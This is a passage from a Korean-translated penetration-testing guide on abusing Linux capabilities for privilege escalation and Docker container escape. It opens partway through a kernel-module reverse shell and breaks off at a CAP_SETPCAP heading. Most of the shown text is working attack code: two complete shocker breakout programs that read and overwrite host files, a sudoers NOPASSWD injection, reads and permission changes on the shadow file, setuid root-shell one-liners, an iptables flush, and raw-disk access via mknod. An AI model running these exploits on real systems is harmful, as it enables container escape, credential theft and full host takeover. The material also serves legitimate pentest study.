static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Makefile의 각 make 단어 앞의 공백 문자는 공백이 아닌 탭이어야 합니다!

make를 실행하여 컴파일합니다.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

마지막으로, 셸 안에서 nc를 시작하고 다른 셸에서 모듈을 로드하면 nc 프로세스에서 셸을 캡처할 수 있습니다:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

이 기술의 코드는 https://www.pentesteracademy.com/ 의 "SYS_MODULE Capability 남용" 실험실에서 복사되었습니다.

이 기술의 또 다른 예는 https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host에서 찾을 수 있습니다.

CAP_DAC_READ_SEARCH는 프로세스가 파일 읽기 및 디렉토리 읽기/실행에 대한 권한을 우회할 수 있도록 합니다. 주된 용도는 파일 검색 또는 읽기 목적입니다. 그러나 이 기능은 프로세스의 마운트 네임스페이스 외부의 파일을 포함하여 모든 파일에 접근할 수 있는 open_by_handle_at(2) 함수를 사용할 수 있게 합니다. open_by_handle_at(2)에서 사용되는 핸들은 name_to_handle_at(2)를 통해 얻은 비투명 식별자여야 하지만, 조작에 취약한 inode 번호와 같은 민감한 정보를 포함할 수 있습니다. 이 기능의 악용 가능성은 특히 Docker 컨테이너의 맥락에서 Sebastian Krahmer에 의해 shocker exploit로 입증되었습니다. 여기서 분석됨. 이는 파일 읽기 권한 검사 및 디렉토리 읽기/실행 권한 검사를 우회할 수 있음을 의미합니다.

바이너리 예시

바이너리는 모든 파일을 읽을 수 있습니다. 따라서 tar와 같은 파일이 이 권한을 가지고 있다면, shadow 파일을 읽을 수 있습니다:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Example with binary2

이 경우 python 바이너리가 이 권한을 가지고 있다고 가정해 보겠습니다. 루트 파일을 나열하려면 다음과 같이 할 수 있습니다:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

파일을 읽기 위해서는 다음과 같이 할 수 있습니다:

print(open("/etc/shadow", "r").read())

환경 예시 (Docker 탈출)

docker 컨테이너 내에서 활성화된 능력을 확인하려면 다음을 사용하세요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.

You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCH는 권한 확인 없이 파일 시스템을 탐색할 수 있을 뿐만 아니라, _open_by_handle_at(2)_에 대한 모든 검사를 명시적으로 제거하고 다른 프로세스에 의해 열린 민감한 파일에 접근할 수 있도록 할 수 있습니다.

The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

이 익스플로잇은 호스트에 마운트된 무언가에 대한 포인터를 찾아야 합니다. 원래 익스플로잇은 파일 /.dockerinit을 사용했으며, 이 수정된 버전은 /etc/hostname을 사용합니다. 익스플로잇이 작동하지 않는다면 다른 파일을 설정해야 할 수도 있습니다. 호스트에 마운트된 파일을 찾으려면 mount 명령을 실행하세요:

이 기술의 코드는 https://www.pentesteracademy.com/ 의 "Abusing DAC_READ_SEARCH Capability" 실험실에서 복사되었습니다.

​​​​​​​​​​​RootedCON 은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며, 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 미션을 가지고 있는 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

CAP_DAC_OVERRIDE

이는 모든 파일에 대한 쓰기 권한 검사를 우회할 수 있음을 의미하므로, 어떤 파일이든 쓸 수 있습니다.

특권 상승을 위해 덮어쓸 수 있는 파일이 많이 있습니다. 여기에서 아이디어를 얻을 수 있습니다.

바이너리 예제

이 예제에서 vim은 이 능력을 가지고 있으므로 passwd, sudoers 또는 _shadow_와 같은 파일을 수정할 수 있습니다:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Example with binary 2

이 예제에서 python 바이너리는 이 권한을 가질 것입니다. 당신은 python을 사용하여 어떤 파일이든 덮어쓸 수 있습니다:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

환경 + CAP_DAC_READ_SEARCH (Docker 탈출) 예제

Docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

먼저 호스트의 DAC_READ_SEARCH 기능을 악용하여 임의의 파일을 읽는 방법 섹션을 읽고 익스플로잇을 컴파일하세요. 그런 다음, 호스트 파일 시스템 내에서 임의의 파일을 쓸 수 있는 다음 버전의 쇼커 익스플로잇을 컴파일하세요:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

In order to scape the docker container you could download the files /etc/shadow and /etc/passwd from the host, add to them a new user, and use shocker_write to overwrite them. Then, access via ssh.

이 기술의 코드는 https://www.pentesteracademy.com 의 "DAC_OVERRIDE Capability 악용" 실험실에서 복사되었습니다.

CAP_CHOWN

이는 모든 파일의 소유권을 변경할 수 있음을 의미합니다.

바이너리 예시

python 바이너리가 이 권한을 가지고 있다고 가정해 보겠습니다. 그러면 shadow 파일의 소유자변경하고, 루트 비밀번호변경하며, 권한을 상승시킬 수 있습니다:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

또는 ruby 바이너리가 이 능력을 가지고 있는 경우:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

이는 모든 파일의 권한을 변경할 수 있음을 의미합니다.

바이너리 예시

python이 이 능력을 가지고 있다면, shadow 파일의 권한을 수정하고, 루트 비밀번호를 변경하며, 권한을 상승시킬 수 있습니다:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

이것은 생성된 프로세스의 유효 사용자 ID를 설정할 수 있음을 의미합니다.

바이너리 예시

만약 python이 이 capability를 가지고 있다면, 이를 이용해 루트 권한으로 권한 상승을 매우 쉽게 할 수 있습니다:

import os
os.setuid(0)
os.system("/bin/bash")

또 다른 방법:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

이는 생성된 프로세스의 유효 그룹 ID를 설정할 수 있음을 의미합니다.

특권을 상승시키기 위해 덮어쓸 수 있는 파일이 많이 있습니다, 여기에서 아이디어를 얻을 수 있습니다.

바이너리 예제

이 경우, 그룹이 읽을 수 있는 흥미로운 파일을 찾아야 합니다. 왜냐하면 어떤 그룹으로도 가장할 수 있기 때문입니다:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

한 번 권한 상승을 위해 악용할 수 있는 파일을 찾으면 (읽기 또는 쓰기를 통해) 흥미로운 그룹을 가장하여 셸을 얻을 수 있습니다:

import os
os.setgid(42)
os.system("/bin/bash")

이 경우 그룹 shadow가 가장해졌으므로 /etc/shadow 파일을 읽을 수 있습니다:

cat /etc/shadow

If docker가 설치되어 있으면 docker group가장하고 이를 악용하여 docker socket와 통신하고 권한을 상승시킬 수 있습니다.

CAP_SETFCAP

이는 파일과 프로세스에 대한 권한을 설정할 수 있음을 의미합니다.

바이너리 예시

python이 이 권한을 가지고 있다면, 이를 악용하여 루트 권한으로 상승시키는 것이 매우 쉽습니다:

setcapability.py
import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

새로운 능력을 바이너리에 CAP_SETFCAP으로 설정하면 이 능력을 잃게 됩니다.

SETUID capability를 얻으면 SETUID capability 섹션으로 가서 권한 상승 방법을 확인할 수 있습니다.

환경 예시 (Docker 탈출)

기본적으로 CAP_SETFCAP 능력은 Docker의 컨테이너 내 프로세스에 부여됩니다. 다음과 같은 방법으로 확인할 수 있습니다:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

이 기능은 이진 파일에 다른 모든 기능을 부여할 수 있게 해줍니다, 따라서 우리는 이 페이지에 언급된 다른 기능 탈출을 악용하여 컨테이너에서 탈출하는 것을 생각할 수 있습니다. 그러나 예를 들어 gdb 이진 파일에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE 기능을 부여하려고 하면, 이를 부여할 수는 있지만 이진 파일은 이후에 실행할 수 없다는 것을 알게 될 것입니다:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that does not have the CAP_SETPCAP capability in its effective set. Permitted capabilities는 사용할 수 있는 것들을 제한하는 것처럼 보입니다. 그러나 Docker는 기본적으로 CAP_SETPCAP를 부여하므로, 상속 가능한 것들 안에서 새로운 능력을 설정할 수 있을지도 모릅니다. 그러나 이 능력의 문서에서는: CAP_SETPCAP : […] 호출 스레드의 경계 집합에서 상속 가능한 집합에 어떤 능력도 추가합니다. 우리는 경계 집합에서 상속 가능한 집합으로만 추가할 수 있는 것처럼 보입니다. 이는 CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로운 능력을 상속 집합에 넣어 권한을 상승시킬 수 없음을 의미합니다.

CAP_SYS_RAWIO

CAP_SYS_RAWIO/dev/mem, /dev/kmem 또는 /proc/kcore에 대한 접근, mmap_min_addr 수정, ioperm(2)iopl(2) 시스템 호출 접근, 다양한 디스크 명령을 포함한 여러 민감한 작업을 제공합니다. FIBMAP ioctl(2)도 이 능력을 통해 활성화되며, 이는 과거에 문제를 일으킨 바 있습니다. 매뉴얼 페이지에 따르면, 이는 보유자가 다른 장치에서 장치별 작업을 설명적으로 수행할 수 있도록 합니다.

이는 권한 상승Docker 탈출에 유용할 수 있습니다.

CAP_KILL

이는 모든 프로세스를 종료할 수 있음을 의미합니다.

바이너리 예시

python 바이너리가 이 능력을 가지고 있다고 가정해 봅시다. 만약 어떤 서비스나 소켓 구성 (또는 서비스와 관련된 구성 파일) 파일을 수정할 수 있다면, 이를 백도어로 만들고, 그 서비스와 관련된 프로세스를 종료한 후 새로운 구성 파일이 당신의 백도어로 실행되기를 기다릴 수 있습니다.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc with kill

kill 권한이 있고 root로 실행 중인 node 프로그램(또는 다른 사용자로 실행 중인 경우)이 있다면, 아마도 SIGUSR1 신호를 보내서 node 디버거를 열게 할 수 있으며, 그곳에 연결할 수 있습니다.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
Node inspector/CEF debug abuse

​​​​​​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

CAP_NET_BIND_SERVICE

이는 모든 포트(특권 포트 포함)에서 수신 대기할 수 있음을 의미합니다. 이 기능으로 직접적으로 권한을 상승시킬 수는 없습니다.

바이너리 예시

만약 **python**이 이 기능을 가지고 있다면, 모든 포트에서 수신 대기할 수 있으며, 그 포트에서 다른 포트로 연결할 수 있습니다(일부 서비스는 특정 권한 포트에서의 연결을 요구합니다).

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

CAP_NET_RAW 권한은 프로세스가 RAW 및 PACKET 소켓을 생성할 수 있도록 허용하여 임의의 네트워크 패킷을 생성하고 전송할 수 있게 합니다. 이는 패킷 스푸핑, 트래픽 주입 및 네트워크 접근 제어 우회를 포함한 보안 위험을 초래할 수 있습니다. 악의적인 행위자는 이를 이용해 컨테이너 라우팅에 간섭하거나 호스트 네트워크 보안을 손상시킬 수 있으며, 특히 적절한 방화벽 보호가 없을 경우 더욱 그렇습니다. 또한, CAP_NET_RAW는 RAW ICMP 요청을 통한 ping과 같은 작업을 지원하기 위해 권한이 있는 컨테이너에 필수적입니다.

이는 트래픽을 스니핑할 수 있음을 의미합니다. 이 권한으로 직접적으로 권한을 상승시킬 수는 없습니다.

바이너리 예시

바이너리 **tcpdump**가 이 권한을 가지고 있다면, 이를 사용하여 네트워크 정보를 캡처할 수 있습니다.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

환경이 이 기능을 제공하는 경우 **tcpdump**를 사용하여 트래픽을 스니핑할 수도 있습니다.

이진 파일 2의 예

다음 예는 "lo" (localhost) 인터페이스의 트래픽을 가로채는 데 유용할 수 있는 python2 코드입니다. 이 코드는 https://attackdefense.pentesteracademy.com/에서 "기초: CAP-NET_BIND + NET_RAW" 실험실의 것입니다.

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN 권한은 소유자에게 네트워크 구성 변경의 권한을 부여합니다. 여기에는 방화벽 설정, 라우팅 테이블, 소켓 권한 및 노출된 네트워크 네임스페이스 내의 네트워크 인터페이스 설정이 포함됩니다. 또한 네트워크 인터페이스에서 promiscuous mode를 활성화하여 네임스페이스 간의 패킷 스니핑을 허용합니다.

이진 파일 예시

python binary가 이러한 권한을 가지고 있다고 가정해 보겠습니다.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

이는 inode 속성을 수정할 수 있음을 의미합니다. 이 권한으로 직접적으로 권한을 상승시킬 수는 없습니다.

바이너리 예시

파일이 불변이며 python이 이 권한을 가지고 있다면, 불변 속성을 제거하고 파일을 수정 가능하게 만들 수 있습니다:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

일반적으로 이 불변 속성은 다음을 사용하여 설정 및 제거됩니다:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOTchroot(2) 시스템 호출의 실행을 가능하게 하며, 이는 알려진 취약점을 통해 chroot(2) 환경에서 탈출할 수 있게 할 수 있습니다:

CAP_SYS_BOOT

CAP_SYS_BOOT은 특정 하드웨어 플랫폼에 맞춘 LINUX_REBOOT_CMD_RESTART2와 같은 특정 명령을 포함하여 시스템 재시작을 위한 reboot(2) 시스템 호출의 실행을 허용할 뿐만 아니라, kexec_load(2) 및 Linux 3.17 이후부터는 새로운 또는 서명된 크래시 커널을 로드하기 위한 kexec_file_load(2)의 사용을 가능하게 합니다.

CAP_SYSLOG

CAP_SYSLOG는 Linux 2.6.37에서 더 넓은 CAP_SYS_ADMIN에서 분리되어 syslog(2) 호출을 사용할 수 있는 능력을 부여합니다. 이 기능은 kptr_restrict 설정이 1일 때 /proc 및 유사한 인터페이스를 통해 커널 주소를 볼 수 있게 합니다. Linux 2.6.39 이후로 kptr_restrict의 기본값은 0으로, 커널 주소가 노출되지만, 많은 배포판은 보안상의 이유로 이를 1(주소를 uid 0을 제외하고 숨김) 또는 2(항상 주소 숨김)로 설정합니다.

또한, CAP_SYSLOGdmesg_restrict가 1로 설정된 경우 dmesg 출력을 접근할 수 있게 합니다. 이러한 변화에도 불구하고, CAP_SYS_ADMIN은 역사적 선례로 인해 syslog 작업을 수행할 수 있는 능력을 유지합니다.

CAP_MKNOD

CAP_MKNODmknod 시스템 호출의 기능을 일반 파일, FIFO(이름이 있는 파이프) 또는 UNIX 도메인 소켓 생성 이상의 기능으로 확장합니다. 이는 특별한 파일의 생성을 허용하며, 여기에는 다음이 포함됩니다:

  • S_IFCHR: 터미널과 같은 문자 특수 파일.

  • S_IFBLK: 디스크와 같은 블록 특수 파일.

이 기능은 장치 파일을 생성할 수 있는 능력이 필요한 프로세스에 필수적이며, 문자 또는 블록 장치를 통해 직접 하드웨어와 상호작용을 촉진합니다.

이는 기본 도커 기능입니다 (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

이 기능은 다음 조건에서 호스트에서 권한 상승(전체 디스크 읽기)을 허용합니다:

  1. 호스트에 대한 초기 접근 권한이 있음 (비특권).

  2. 컨테이너에 대한 초기 접근 권한이 있음 (특권 (EUID 0) 및 유효한 CAP_MKNOD).

  3. 호스트와 컨테이너는 동일한 사용자 네임스페이스를 공유해야 합니다.

컨테이너에서 블록 장치를 생성하고 접근하는 단계:

  1. 호스트에서 표준 사용자로:

  • id로 현재 사용자 ID를 확인합니다, 예: uid=1000(standarduser).

  • 대상 장치를 식별합니다, 예: /dev/sdb.

  1. 컨테이너 내에서 root로:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. 호스트로 돌아가기:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

이 접근 방식은 표준 사용자가 컨테이너를 통해 /dev/sdb의 데이터에 접근하고 잠재적으로 읽을 수 있도록 하여 공유 사용자 네임스페이스와 장치에 설정된 권한을 악용합니다.

CAP_SETPCAP

